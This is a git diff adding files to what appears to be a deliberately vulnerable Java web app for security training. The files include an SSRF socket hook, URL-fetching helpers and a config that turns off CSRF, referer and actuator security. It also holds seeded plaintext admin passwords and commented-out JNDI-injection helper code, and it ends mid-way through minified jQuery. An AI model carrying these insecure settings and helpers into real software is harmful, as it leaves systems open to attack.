00000000..4ce3509c --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java @@ -0,0 +1,27 @@ +package org.joychou.security.ssrf; + +import java.io.IOException; +import java.net.Socket; +import java.net.SocketException; + + +/** + * Socket Hook switch + * + * @author liergou @ 2020-04-04 02:12 + */ +public class SocketHook { + + public static void startHook() throws IOException { + SocketHookFactory.initSocket(); + SocketHookFactory.setHook(true); + try{ + Socket.setSocketImplFactory(new SocketHookFactory()); + }catch (SocketException ignored){ + } + } + + public static void stopHook(){ + SocketHookFactory.setHook(false); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java new file mode 100644 index 00000000..dc6d951d --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java @@ -0,0 +1,88 @@ +package org.joychou.security.ssrf; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.net.Socket; +import java.net.SocketImpl; +import java.net.SocketImplFactory; + + +/** + * socket factory impl + * + * @author liergou @ 2020-04-03 23:41 + */ +public class SocketHookFactory implements SocketImplFactory { + + + private static Boolean isHook = false; + private static Constructor socketConstructor = null; + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * @param set hook switch + */ + static void setHook(Boolean set) { + isHook = set; + } + + + static void initSocket() { + + if (socketConstructor != null) { + return; + } + + Socket socket = new Socket(); + try { + // get impl field in Socket class + Field implField = Socket.class.getDeclaredField("impl"); + implField.setAccessible(true); + Class clazz = implField.get(socket).getClass(); + + SocketHookImpl.initSocketImpl(clazz); + socketConstructor = clazz.getDeclaredConstructor(); + socketConstructor.setAccessible(true); + + } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) { + throw new SSRFException("SocketHookFactory init failed!"); + } + + try { + socket.close(); + } catch (IOException ignored) { + + } + } + + + public SocketImpl createSocketImpl() { + + if (isHook) { + try { + return new SocketHookImpl(socketConstructor); + } catch (Exception e) { + logger.error("Socket hook failed!"); + try { + return (SocketImpl) socketConstructor.newInstance(); + } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + } else { + try { + return (SocketImpl) socketConstructor.newInstance(); + } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) { + logger.error(e.toString()); + } + } + + return null; + } +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java new file mode 100644 index 00000000..799ca0e5 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java @@ -0,0 +1,269 @@ +package org.joychou.security.ssrf; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.*; + + +/** + * Socket impl + * + * @author liergou @ 2020-04-02 23:39 + */ +public class SocketHookImpl extends SocketImpl implements SocketOptions { + + private static Boolean isInit = false; + + private static SocketImpl socketImpl = null; + private static Method createImpl; + private static Method connectHostImpl; + private static Method connectInetAddressImpl; + private static Method connectSocketAddressImpl; + private static Method bindImpl; + private static Method listenImpl; + private static Method acceptImpl; + private static Method getInputStreamImpl; + private static Method getOutputStreamImpl; + private static Method availableImpl; + private static Method closeImpl; + private static Method shutdownInputImpl; + private static Method shutdownOutputImpl; + private static Method sendUrgentDataImpl; + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException, + InvocationTargetException, InstantiationException { + socketImpl = (SocketImpl) socketConstructor.newInstance(); + } + + + /** + * Init reflect method. + * + * @author liergou + */ + static void initSocketImpl(Class initSocketImpl) { + + if (initSocketImpl == null) { + SocketHookFactory.setHook(false); + throw new RuntimeException("InitSocketImpl failed! Hook stopped!"); + } + + if (!isInit) { + createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class[]{boolean.class}); + connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{String.class, int.class}); + connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{InetAddress.class, int.class}); + connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{SocketAddress.class, int.class}); + bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class[]{InetAddress.class, int.class}); + listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class[]{int.class}); + acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class[]{SocketImpl.class}); + getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class[]{}); + getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class[]{}); + availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class[]{}); + closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class[]{}); + shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class[]{}); + shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class[]{}); + sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class[]{int.class}); + isInit = true; + } + } + + + /** + * socket base method impl + */ + @Override + protected void create(boolean stream) { + try { + createImpl.invoke(socketImpl, stream); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + + @Override + protected void connect(String host, int port) { + logger.info("host: " + host + "\tport: " + port); + try { + connectHostImpl.invoke(socketImpl, host, port); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + + } + + + @Override + protected void connect(InetAddress address, int port) { + + logger.info("InetAddress: " + address.toString()); + + try { + if (SSRFChecker.isInternalIp(address.getHostAddress())) { + throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString()); + } + connectInetAddressImpl.invoke(socketImpl, address, port); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void connect(SocketAddress address, int timeout) { + + // convert SocketAddress to InetSocketAddress + InetSocketAddress addr = (InetSocketAddress) address; + + String ip = addr.getAddress().getHostAddress(); + String host = addr.getHostName(); + logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip)); + + try { + if (SSRFChecker.isInternalIp(ip)) { + throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip)); + } + connectSocketAddressImpl.invoke(socketImpl, address, timeout); + } catch (IllegalAccessException | IllegalArgumentException | + InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void bind(InetAddress host, int port) { + try { + bindImpl.invoke(socketImpl, host, port); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void listen(int backlog) { + + try { + listenImpl.invoke(socketImpl, backlog); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void accept(SocketImpl s) { + + try { + acceptImpl.invoke(socketImpl, s); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected InputStream getInputStream() { + InputStream inStream = null; + + try { + inStream = (InputStream) getInputStreamImpl.invoke(socketImpl); + } catch (ClassCastException | InvocationTargetException | + IllegalArgumentException | IllegalAccessException ex) { + logger.error(ex.toString()); + } + + return inStream; + } + + @Override + protected OutputStream getOutputStream() { + OutputStream outStream = null; + + try { + outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl); + } catch (ClassCastException | IllegalArgumentException | + IllegalAccessException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + return outStream; + } + + @Override + protected int available() { + + int result = -1; + + try { + result = (Integer) availableImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + return result; + } + + @Override + protected void close() { + try { + closeImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void shutdownInput() { + try { + shutdownInputImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void shutdownOutput() { + try { + shutdownOutputImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void sendUrgentData(int data) { + try { + sendUrgentDataImpl.invoke(socketImpl, data); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + } + + public void setOption(int optID, Object value) throws SocketException { + if (null != socketImpl) { + socketImpl.setOption(optID, value); + } + } + + public Object getOption(int optID) throws SocketException { + return socketImpl.getOption(optID); + } + + /* + * Dont impl other child method now. Don't be sure where will use it. + * + */ + + +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java new file mode 100644 index 00000000..00f6c275 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java @@ -0,0 +1,27 @@ +package org.joychou.security.ssrf; + +import java.lang.reflect.Method; + +class SocketHookUtils { + + /** + * Poll the parent class to find the reflection method. + * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl + * + * @author liergou @2020-04-04 01:43 + */ + static Method findMethod(Class clazz, String findName, Class[] args) { + + while (clazz != null) { + try { + Method method = clazz.getDeclaredMethod(findName, args); + method.setAccessible(true); + return method; + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + return null; + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/util/ClassUtil.java b/src/main/java/org/joychou/util/ClassUtil.java new file mode 100644 index 00000000..dc3aae78 --- /dev/null +++ b/src/main/java/org/joychou/util/ClassUtil.java @@ -0,0 +1,122 @@ +//package org.joychou.util; +// +//import java.io.ByteArrayOutputStream; +//import java.io.IOException; +//import java.io.InputStream; +//import java.io.ObjectOutputStream; +//import java.lang.reflect.Method; +//import java.util.Random; +// +//public class ClassUtil { +// public static String getRandomString() { +// String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; +// StringBuilder sb = new StringBuilder(); +// for (int i = 0; i < 10; i++) { +// char ch = str.charAt(new Random().nextInt(str.length())); +// sb.append(ch); +// } +// return sb.toString(); +// } +// +// public static String getClassCode(Class clazz) throws Exception { +// byte[] bytes = getClassBytes(clazz); +// String result = com.feihong.ldap.utils.Util.base64Encode(bytes); +// +// return result; +// } +// +// public static byte[] getClassBytes(Class clazz) throws Exception { +// String className = clazz.getName(); +// String resoucePath = className.replaceAll("\\.", "/") + ".class"; +// InputStream in = com.feihong.ldap.utils.Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); +// byte[] bytes = new byte[1024]; +// ByteArrayOutputStream baous = new ByteArrayOutputStream(); +// int len = 0; +// while((len = in.read(bytes)) != -1){ +// baous.write(bytes, 0 , len); +// } +// +// in.close(); +// baous.close(); +// +// return baous.toByteArray(); +// } +// +// public static String base64Encode(byte[] bytes) throws Exception{ +// String result; +// +// try{ +// Class clazz = Class.forName("java.util.Base64"); +// Method method = clazz.getDeclaredMethod("getEncoder"); +// Object obj = method.invoke(null); +// method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); +// obj = method.invoke(obj, bytes); +// result = (String)obj; +// }catch(ClassNotFoundException e){ +// Class clazz = Class.forName("sun.misc.BASE64Encoder"); +// Method method = clazz.getMethod("encodeBuffer", byte[].class); +// Object obj = method.invoke(clazz.newInstance(), bytes); +// result = (String)obj; +// result = result.replaceAll("\r|\n|\r\n", ""); +// } +// +// return result; +// } +// +// public static byte[] base64Decode(String str) throws Exception{ +// byte[] bytes; +// +// try{ +// Class clazz = Class.forName("java.util.Base64"); +// Method method = clazz.getDeclaredMethod("getDecoder"); +// Object obj = method.invoke(null); +// method = obj.getClass().getDeclaredMethod("decode", String.class); +// obj = method.invoke(obj, str); +// bytes = (byte[]) obj; +// }catch(ClassNotFoundException e){ +// Class clazz = Class.forName("sun.misc.BASE64Decoder"); +// Method method = clazz.getMethod("decodeBuffer", String.class); +// Object obj = method.invoke(clazz.newInstance(), str); +// bytes = (byte[]) obj; +// } +// +// return bytes; +// } +// +// public static byte[] serialize(Object ref) throws IOException { +// ByteArrayOutputStream out = new ByteArrayOutputStream(); +// ObjectOutputStream objOut = new ObjectOutputStream(out); +// objOut.writeObject(ref); +// return out.toByteArray(); +// } +// +// public static String getCmdFromBase(String base) throws Exception { +// int firstIndex = base.lastIndexOf("/"); +// String cmd = base.substring(firstIndex + 1); +// +// int secondIndex = base.lastIndexOf("/", firstIndex - 1); +// if(secondIndex < 0){ +// secondIndex = 0; +// } +// +// if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ +// byte[] bytes = com.feihong.ldap.utils.Util.base64Decode(cmd); +// cmd = new String(bytes); +// } +// +// return cmd; +// } +// +// public static String[] getIPAndPortFromBase(String base) throws NumberFormatException{ +// int firstIndex = base.lastIndexOf("/"); +// String port = base.substring(firstIndex + 1); +// +// int secondIndex = base.lastIndexOf("/", firstIndex - 1); +// if(secondIndex < 0){ +// secondIndex = 0; +// } +// +// String ip = base.substring(secondIndex + 1, firstIndex); +// return new String[]{ip, Integer.parseInt(port) + ""}; +// } +//} diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java new file mode 100644 index 00000000..4f608301 --- /dev/null +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -0,0 +1,213 @@ +package org.joychou.util; + +import com.squareup.okhttp.OkHttpClient; +import org.apache.commons.httpclient.HttpClient; +import org.apache.commons.httpclient.methods.GetMethod; +import org.apache.commons.io.IOUtils; +import org.apache.http.HttpResponse; +import org.apache.http.client.fluent.Request; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClients; +import org.apache.http.impl.nio.client.CloseableHttpAsyncClient; +import org.apache.http.impl.nio.client.HttpAsyncClients; +import org.apache.http.util.EntityUtils; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import javax.imageio.ImageIO; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URI; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.*; + +/** + * @author JoyChou 2020-04-06 + */ +public class HttpUtils { + + private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class); + + public static String commonHttpClient(String url) { + + HttpClient client = new HttpClient(); + GetMethod method = new GetMethod(url); + + try { + client.executeMethod(method); // send request + byte[] resBody = method.getResponseBody(); + return new String(resBody); + + } catch (IOException e) { + return "Error: " + e.getMessage(); + } finally { + // Release the connection. + method.releaseConnection(); + } + } + + + public static String request(String url) { + try { + return Request.Get(url).execute().returnContent().toString(); + } catch (Exception e) { + return e.getMessage(); + } + } + + + public static String httpClient(String url) { + + StringBuilder result = new StringBuilder(); + + try { + + CloseableHttpClient client = HttpClients.createDefault(); + HttpGet httpGet = new HttpGet(url); + // set redirect enable false + // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build()); + HttpResponse httpResponse = client.execute(httpGet); // send request + BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); + + String line; + while ((line = rd.readLine()) != null) { + result.append(line); + } + + return result.toString(); + + } catch (Exception e) { + return e.getMessage(); + } + } + + + public static String URLConnection(String url) { + try { + URL u = new URL(url); + URLConnection urlConnection = u.openConnection(); + BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request + // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream())); + String inputLine; + StringBuilder html = new StringBuilder(); + + while ((inputLine = in.readLine()) != null) { + html.append(inputLine); + } + in.close(); + return html.toString(); + } catch (Exception e) { + logger.error(e.getMessage()); + return e.getMessage(); + } + } + + + public static String HttpURLConnection(String url) { + try { + URL u = new URL(url); + URLConnection urlConnection = u.openConnection(); + HttpURLConnection conn = (HttpURLConnection) urlConnection; + // Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField + InputStream is = conn.getInputStream(); // send request + BufferedReader in = new BufferedReader(new InputStreamReader(is)); + String inputLine; + StringBuilder html = new StringBuilder(); + + while ((inputLine = in.readLine()) != null) { + html.append(inputLine); + } + in.close(); + return html.toString(); + } catch (IOException e) { + logger.error(e.getMessage()); + return e.getMessage(); + } + } + + + /** + * Jsoup is a HTML parser about Java. + * + * @param url http request url + */ + public static String Jsoup(String url) { + try { + Document doc = Jsoup.connect(url) + //.followRedirects(false) + .timeout(3000) + .cookie("name", "joychou") // request cookies + .execute().parse(); + return doc.outerHtml(); + } catch (IOException e) { + return e.getMessage(); + } + } + + + /** + * The default setting of followRedirects is true. The option of followRedirects is true. + * + * UserAgent is okhttp/2.5.0. + */ + public static String okhttp(String url) throws IOException { + OkHttpClient client = new OkHttpClient(); + // client.setFollowRedirects(false); + com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); + return client.newCall(ok_http).execute().body().string(); + } + + + public static void imageIO(String url) { + try { + URL u = new URL(url); + ImageIO.read(u); // send request + } catch (IOException e) { + logger.error(e.getMessage()); + } + + } + + + /** + * IOUtils which is wrapped by URLConnection can get remote pictures. + * The default setting of redirection is true. + * + * @param url http request url + */ + public static void IOUtils(String url) { + try { + IOUtils.toByteArray(URI.create(url)); + } catch (IOException e) { + logger.error(e.getMessage()); + } + } + + + public static String HttpAsyncClients(String url) { + CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault(); + try { + httpclient.start(); + final HttpGet request = new HttpGet(url); + Future future = httpclient.execute(request, null); + HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS); + return EntityUtils.toString(response.getEntity()); + } catch (Exception e) { + return e.getMessage(); + } finally { + try { + httpclient.close(); + } catch (Exception e) { + logger.error(e.getMessage()); + } + } + } + +} diff --git a/src/main/java/org/joychou/util/LoginUtils.java b/src/main/java/org/joychou/util/LoginUtils.java new file mode 100644 index 00000000..93ccbd9f --- /dev/null +++ b/src/main/java/org/joychou/util/LoginUtils.java @@ -0,0 +1,21 @@ +package org.joychou.util; + +import com.alibaba.fastjson.JSON; + +import javax.servlet.http.HttpServletRequest; +import java.security.Principal; +import java.util.HashMap; +import java.util.Map; + +public class LoginUtils { + + // get current login username + public static String getUserInfo2JsonStr(HttpServletRequest request) { + Principal principal = request.getUserPrincipal(); + String username = principal.getName(); + Map m = new HashMap<>(); + m.put("Username", username); + + return JSON.toJSONString(m); + } +} diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java new file mode 100644 index 00000000..4816df8e --- /dev/null +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -0,0 +1,54 @@ +package org.joychou.util; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; + +import com.google.common.base.Preconditions; +import org.springframework.web.util.HtmlUtils; + +public class WebUtils { + + // Get request body. + public static String getRequestBody(HttpServletRequest request) throws IOException { + InputStream in = request.getInputStream(); + return convertStreamToString(in); + } + + + // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java + public static String convertStreamToString(java.io.InputStream is) { + java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); + return s.hasNext() ? s.next() : ""; + } + + public static String getCookieValueByName(HttpServletRequest request, String cookieName) { + Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName); + return cookie == null ? null : cookie.getValue(); + } + + + public static String json2Jsonp(String callback, String jsonStr) { + return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")"; + } + + + public static String getFileExtension(String fullName) { + Preconditions.checkNotNull(fullName); + String fileName = (new File(fullName)).getName(); + int dotIndex = fileName.lastIndexOf('.'); + return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1); + } + + + public static String getNameWithoutExtension(String file) { + Preconditions.checkNotNull(file); + String fileName = (new File(file)).getName(); + int dotIndex = fileName.lastIndexOf('.'); + return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex); + } + + +} diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties new file mode 100644 index 00000000..d29a8f56 --- /dev/null +++ b/src/main/resources/application.properties @@ -0,0 +1,52 @@ + +spring.datasource.url=jdbc:mysql://192.168.17.128:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC +spring.datasource.username=java_sec_code +spring.datasource.password=java_sec_code +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +mybatis.mapper-locations=classpath:mapper/*.xml +# mybatis SQL log +logging.level.org.joychou.mapper=debug + +# Spring Boot Actuator Config +management.security.enabled=false +endpoints.enabled=true + + +# logging.config=classpath:logback-online.xml + +# 业务的callback参数,不支持多个 +joychou.business.callback = callback_ + + +### check referer configuration begins ### +joychou.security.referer.enabled = false +joychou.security.referer.host = joychou.org, joychou.com +# Only support ant url style. +joychou.security.referer.uri = /jsonp/** +### check referer configuration ends ### + + +### csrf configuration begins ### +# csrf token check +joychou.security.csrf.enabled = false +# URI without CSRF check (only support ANT url format) +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /spel/vuln +# method for CSRF check +joychou.security.csrf.method = POST +### csrf configuration ends ### + + +### jsonp configuration begins ### # auto convert json to jsonp +# referer check +joychou.security.jsonp.referer.check.enabled = true +joychou.security.jsonp.callback = callback, _callback +### jsonp configuration ends ### + +# swagger +swagger.enable = true + +server.port=7788 + +spring.main.allow-circular-references=true +# to disable liquibase when importing flowable-engine, ref: https://stackoverflow.com/questions/37708145/spring-boot-disable-liquibase-at-startup +spring.liquibase.enabled=false \ No newline at end of file diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt new file mode 100644 index 00000000..45e1698c --- /dev/null +++ b/src/main/resources/banner.txt @@ -0,0 +1,6 @@ + ____. _________ _________ .___ + | |____ ___ _______ / _____/ ____ ____ \_ ___ \ ____ __| _/____ + | \__ \\ \/ /\__ \ \_____ \_/ __ \_/ ___\ / \ \/ / _ \ / __ |/ __ \ +/\__| |/ __ \\ / / __ \_ / \ ___/\ \___ \ \___( <_> ) /_/ \ ___/ +\________(____ /\_/ (____ / /_______ /\___ >\___ > \______ /\____/\____ |\___ > + \/ \/ \/ \/ \/ \/ \/ \/ \ No newline at end of file diff --git a/src/main/resources/bootstrap.yml b/src/main/resources/bootstrap.yml new file mode 100644 index 00000000..c7214e11 --- /dev/null +++ b/src/main/resources/bootstrap.yml @@ -0,0 +1,31 @@ +#server: +# port: 8877 +# +#spring: +# cloud: +# nacos: +# config: +# name: application-my +# file-extension: yaml +# group: DEFAULT_GROUP +# server-addr: 192.168.17.128:8848 +# discovery: +# server-addr: 192.168.17.128:8848 +# +#joychou: +# business: +# callback: callback_ +# security: +# jsonp: +# callback: callback, _callback +# referer: +# check: +# enabled: true +# csrf: +# method: POST +# exclude: +# url: /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /spel/vuln +# enabled: false +# referer: +# host: joychou.org, joychou.com +# uri: /jsonp/** \ No newline at end of file diff --git a/src/main/resources/create_db.sql b/src/main/resources/create_db.sql new file mode 100644 index 00000000..350b24f1 --- /dev/null +++ b/src/main/resources/create_db.sql @@ -0,0 +1,9 @@ +USE `java_sec_code`; +CREATE TABLE IF NOT EXISTS `users`( + `id` INT UNSIGNED AUTO_INCREMENT, + `username` VARCHAR(255) NOT NULL, + `password` VARCHAR(255) NOT NULL, + PRIMARY KEY (`id`) +)ENGINE=InnoDB DEFAULT CHARSET=utf8; +INSERT INTO `users` VALUES (1, 'admin', 'admin123'); +INSERT INTO `users` VALUES (2, 'joychou', 'joychou123'); diff --git a/src/main/resources/logback-online.xml b/src/main/resources/logback-online.xml new file mode 100644 index 00000000..4bda3a99 --- /dev/null +++ b/src/main/resources/logback-online.xml @@ -0,0 +1,12 @@ + + + true + + [%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n + + + + + + + \ No newline at end of file diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml new file mode 100644 index 00000000..e6894071 --- /dev/null +++ b/src/main/resources/mapper/UserMapper.xml @@ -0,0 +1,35 @@ + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/main/resources/static/css/login.css b/src/main/resources/static/css/login.css new file mode 100644 index 00000000..26401f4e --- /dev/null +++ b/src/main/resources/static/css/login.css @@ -0,0 +1,106 @@ +.login-page { + width: 360px; + padding: 8% 0 0; + margin: auto; +} +.form { + position: relative; + z-index: 1; + background: #ffffff; + max-width: 360px; + margin: 0 auto 100px; + padding: 45px; + text-align: center; + box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24); +} +.form input { + outline: 0; + background: #f2f2f2; + width: 100%; + border: 0; + margin: 0 0 15px; + padding: 15px; + box-sizing: border-box; + font-size: 14px; +} +.form button { + text-transform: uppercase; + outline: 0; + background: #4caf50; + width: 100%; + border: 0; + padding: 15px; + color: #ffffff; + font-size: 14px; + -webkit-transition: all 0.3 ease; + transition: all 0.3 ease; + cursor: pointer; +} +.form button:hover, +.form button:active, +.form button:focus { + background: #43a047; +} +.form .message { + margin: 15px 0 0; + color: #b3b3b3; + font-size: 12px; +} +.form .message a { + color: #4caf50; + text-decoration: none; +} +.form .register-form { + display: none; +} +.form p { + text-align: left; + margin: 0; + font-size: 13px; +} +.form p input { + width: auto; + margin-right: 10px; +} +.container { + position: relative; + z-index: 1; + max-width: 300px; + margin: 0 auto; +} +.container:before, +.container:after { + content: ""; + display: block; + clear: both; +} +.container .info { + margin: 50px auto; + text-align: center; +} +.container .info h1 { + margin: 0 0 15px; + padding: 0; + font-size: 36px; + font-weight: 300; + color: #1a1a1a; +} +.container .info span { + color: #4d4d4d; + font-size: 12px; +} +.container .info span a { + color: #000000; + text-decoration: none; +} +.container .info span .fa { + color: #ef3b3a; +} +body { + background: #76b852; /* fallback for old browsers */ + background: -webkit-linear-gradient(right, #76b852, #8dc26f); + background: -moz-linear-gradient(right, #76b852, #8dc26f); + background: -o-linear-gradient(right, #76b852, #8dc26f); + background: linear-gradient(to left, #76b852, #8dc26f); + font-family: Lato,"PingFang SC","Microsoft YaHei",sans-serif; +} diff --git a/src/main/resources/static/js/jquery.min.js b/src/main/resources/static/js/jquery.min.js new file mode 100644 index 00000000..a1c07fd8 --- /dev/null +++ b/src/main/resources/static/js/jquery.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.4.1",k=function(e,t){return new k.fn.init(e,t)},p=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;function d(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+$),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ne=function(e,t,n){var r="0x"+t-65536;return 